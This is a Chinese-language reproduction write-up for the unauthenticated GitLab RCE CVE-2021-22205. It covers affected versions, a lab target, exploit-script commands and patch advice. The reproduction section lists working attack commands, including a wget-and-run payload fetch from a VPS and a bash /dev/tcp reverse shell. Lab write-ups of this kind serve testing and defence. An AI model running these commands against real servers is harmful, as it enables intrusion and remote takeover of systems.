gitlab 未授权rce (CVE-2021-22205)
gitlab 未授权rce (CVE-2021-22205)
0x01 漏洞描述
2021年4⽉15⽇,GitLab官⽅发布安全补丁更新修复了GitLab命令执⾏漏洞(CVE-2021-22205)。由于GitLab中的ExifTool没有对传⼊的图像⽂件的扩展名进⾏正确处理,攻击者通过上传特制的恶意图⽚,可以在⽬标服务器上执⾏任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在⽆需进⾏身份验证的情况下即可进⾏利⽤,社区版(CE)和企业版(EE)皆受影响,CVSS评分为9.9。
0x02 影响范围
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
0x03 漏洞复现
(1)访问靶场
(2) 漏洞利用脚本
https://github.com/Al1ex/CVE-2021-22205
python3运行
查看帮助
python CVE-2021-22205.py -h
先用验证模式
检测漏洞是否存在
python CVE-2021-22205.py -v true -t http://vulfocus.fofa.so:37366/
执行命令
因为没有回显
可用dnslog或者 自己搭建服务器测试
python CVE-2021-22205.py -a true -t http://vulfocus.fofa.so:37366/ -c “curl dnslog地址”
命令执行成功
反弹shell
(1) 在vps上搭建 cmd.txt 内容为反弹shell的命令
先下载下 再执行
wget --output-document /tmp/rce vps/cmd.txt
bash /tmp/rce
反弹shell
成功
(2) 先将反弹shell的命令写⼊tmp⽬录下的1.sh⽂件
再执行改文件
文件名可以使 2.sh 也可以不加.sh
尝试过后 名字为2也可以弹回shell .sh不是必须的
echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/2.sh
bash /tmp/2.sh
反弹shell成功
第二种方法直接echo 更方便 不需要用python起 http服务
0x04 漏洞修复
官⽅升级
⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护,官⽅下载链接:https://about.gitlab.com/update/
若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。